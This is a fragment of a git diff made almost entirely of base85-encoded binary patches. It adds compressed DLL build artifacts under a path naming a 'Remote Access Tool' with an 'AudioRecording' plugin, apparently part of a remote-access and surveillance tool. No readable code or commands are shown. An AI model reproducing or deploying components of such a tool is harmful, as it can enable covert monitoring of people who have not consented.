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 literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..1de34303e18a6ad3dc2586ac5021909e1e009b32 GIT binary patch literal 31377 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 